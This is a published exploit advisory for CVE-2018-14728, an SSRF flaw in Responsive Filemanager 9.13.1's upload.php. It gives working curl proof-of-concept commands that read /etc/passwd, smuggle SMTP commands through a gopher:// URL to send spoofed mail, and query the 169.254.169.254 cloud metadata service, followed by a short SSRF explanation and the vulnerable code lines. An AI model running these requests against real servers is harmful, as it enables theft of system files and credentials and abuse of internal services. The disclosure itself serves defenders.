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Responsive Filemanager 9.13.1 Server-Side Request Forgery

Responsive Filemanager 9.13.1 Server-Side Request Forgery
Posted Jul 29, 2018
Authored by Guia Brahim Fouad

Responsive Filemanager version 9.13.1 suffers from a server-side request forgery vulnerability.

tags | exploit
advisories | CVE-2018-14728
SHA-256 | e9c40ef19ba416da82946bec3db89cc130e0432d4bd93202e74d00cf5fca232d

Responsive Filemanager 9.13.1 Server-Side Request Forgery

Change Mirror Download
 # Exploit Title: Responsive filemanager - SSRF
# Date: 29/07/2018
# Exploit Author: GUIA BRAHIM FOUAD
# Vendor Homepage: http://responsivefilemanager.com/
# Software Link:
https://github.com/trippo/ResponsiveFilemanager/releases/download/v9.13.1/responsive_filemanager.zip
# Version: 9.13.1
# Tested on: responsive filemanager version: 9.13.1, php version: 7.0
# CVE : CVE-2018-14728

Type
[Security] Bug report - SSRF - Security Issue

PoC
curl 'http://localhost/filemanager/upload.php' --data
'fldr=&url=file:///etc/passwd'
curl 'http://localhost/filemanager/upload.php' --data 'fldr=&url=gopher://
127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a
'
curl 'http://localhost/filemanager/upload.php' --data 'fldr=&url=
http://169.254.169.254/openstack'
...

Description of the problem
Server Side Request Forgery (SSRF) refers to an attack where in an attacker
is able to send a crafted request from a vulnerable web application. SSRF
is usually used to target internal systems behind firewalls that are
normally inaccessible to an attacker from the external network.
Additionally, itas also possible for an attacker to leverage SSRF to access
services from the same server that is listening on the loopback interface
(127.0.0.1).

Typically Server Side Request Forgery (SSRF) occurs when a web application
is making a request, where an attacker has full or partial control of the
request that is being sent. A common example is when an attacker can
control all or part of the URL to which the web application makes a request
to some third-party service

List the steps to reproduce the issue
The GET parameter 'url' is received in line 71 of the file upload.php.

File : upload.php

Line| Code
71 | if(isset($_POST['url'])){
73 | $ch = curl_init($_POST['url']);
77 | curl_exec($ch);

Environment
responsive filemanager version: 9.13.1
php version: 7.0
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